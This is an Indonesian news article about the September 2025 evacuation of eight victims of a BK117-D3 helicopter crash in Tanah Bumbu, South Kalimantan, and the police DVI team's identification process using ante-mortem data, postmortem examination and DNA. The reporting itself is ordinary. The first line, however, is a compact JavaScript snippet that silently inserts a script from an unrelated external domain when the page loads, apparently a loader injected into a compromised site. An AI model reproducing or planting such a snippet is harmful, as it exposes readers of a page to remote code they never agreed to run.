(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Proses evakuasi 8 jenazah korban helikopter BK117-D3 PK-RGH di kawasan hutan lindung, Desa Emil Baru, Kecamatan Mantewe, Kabupaten Tanah Bumbu, Kalimantan Selatan, masih berlangsung hingga Kamis (4/9/2025) malam.
Evakuasi para korban terus dimaksimalkan tim SAR gabungan, yang sejak pagi hari mulai menurunkan jasad korban satu per satu dari atas gunung menuju ke Posko Search Area yang terletak di bawah gunung.
Adapun 8 korban jatuhnya pesawat helikopter milik PT Eastindo Air yakni 1 orang pilot, 1 orang engineering, tiga penumpang warga negara asing, dan tiga penumpang warga negara Indonesia.
Kedelapan korban nantinya akan menjalani proses identifikasi oleh tim Disaster Victim Identification (DVI) Polda Kalsel di Rumah Sakit Bhayangkara Banjarmasin.
Kabiddokes Polda Kalsel, AKBP dr M El Yandiko. Foto: wanda
Hal ini diungkap Kabiddokes Polda Kalsel, AKBP dr M El Yandiko, Kamis (4/9/2025) sore, dimana RS milik Polri ini katanya telah menyiapkan tim dari Bidang Kedokteran dan Kesehatan (Biddokes) Polda Kalsel.
“Saat ini sudah dalam perjalanan evakuasi untuk ke Posko DVI kita di Rumah Sakit Bhayangkara. Dari segi kesiapan di sini kita memiliki tim ante-mortem, tugasnya mengumpulkan data korban dan ciri khas serta petunjuk-petunjuk yang nantinya kota butuhkan pada saat korban telah kita terima dan kita lakukan pemeriksaan postmortem,” ujar AKBP Yandiko saat diwawancarai awak media.
Sedangkan untuk tim postmortem akan melakukan pemeriksaan terhadap korban pada bagian-bagian yang juga tidak bisa diprediksi manusia pada umumnya..
Kemudian sambung AKBP Yandiko, kedua data dari hasil pemeriksaan itu akan digabungkan atau dicocokkan oleh tim rekonsiliasi.
“Setelah itu baru kita bisa memberikan hasil identifikasi dari masing-masing korban dari dasar petunjuk tadi,” ungkapnya.
Baca juga: 8 Korban Helikopter BK117-D3 Dievakuasi, Eastindo Air Layani Penerbangan Khusus
Kabiddokes Polda Kalsel juga menjelaskan ante-mortem sangat penting untuk mengetahui identitas korban yang dibutuhkan. Misalnya menunjukkan kekhasan secara fisik tinggi, seperti tubuh yang sangat tinggi, yang kira-kira itu menjadi ciri khas seseorang.
“Atau bisa menggunakan properti tertentu yang biasa dia gunakan setiap hari, misalnya jam tangan dari merek apa lalu meletak di badan kami lacak. Karena kebetulan semua korban kita adalah laki laki sehingga data ante-mortem, akan sangat mendukung sekali untuk mengetahui identitas,” jelas AKBP Yandiko.
Masih kata perwira melati dua di pundak ini, waktu untuk tim bisa menyelesaikan identifikasi tergantung pada tingkat kesulitan dari pencocokan data yang telah terhimpun dari pemeriksaan.
Baca juga: Warung di Kong Ex Liang Anggang Terbakar, Anak Perempuan 8 Tahun Meninggal Dunia
Semakin cepat kecocokan data itu didapatkan maka akan semakin cepat pihaknya menyelesaikan proses identifikasi korban.
“Karena kita mencocokan dengan data yang sangat spesifik yaitu DNA, dimana DNA itu butuh waktu dan juga relatif. Kalau dalam kondisi tingkat kesulitan tinggi mislanya sudah terjadi pembusukan kemudian ada kerusakan jaringan akibat terbakar maka akan memakan waktu lama,” tuntasnya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN – Hidangan Soto Banjar disajikan di rumah lanting apung itu ketika sang surya… Read More
KANALKALIMANTAN.COM, PARINGIN – Sepekan pascabanjir bandang menerjang Kecamatan Tebing Tinggi, Kabupaten Balangan, denyut kehidupan warga… Read More
KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
This website uses cookies.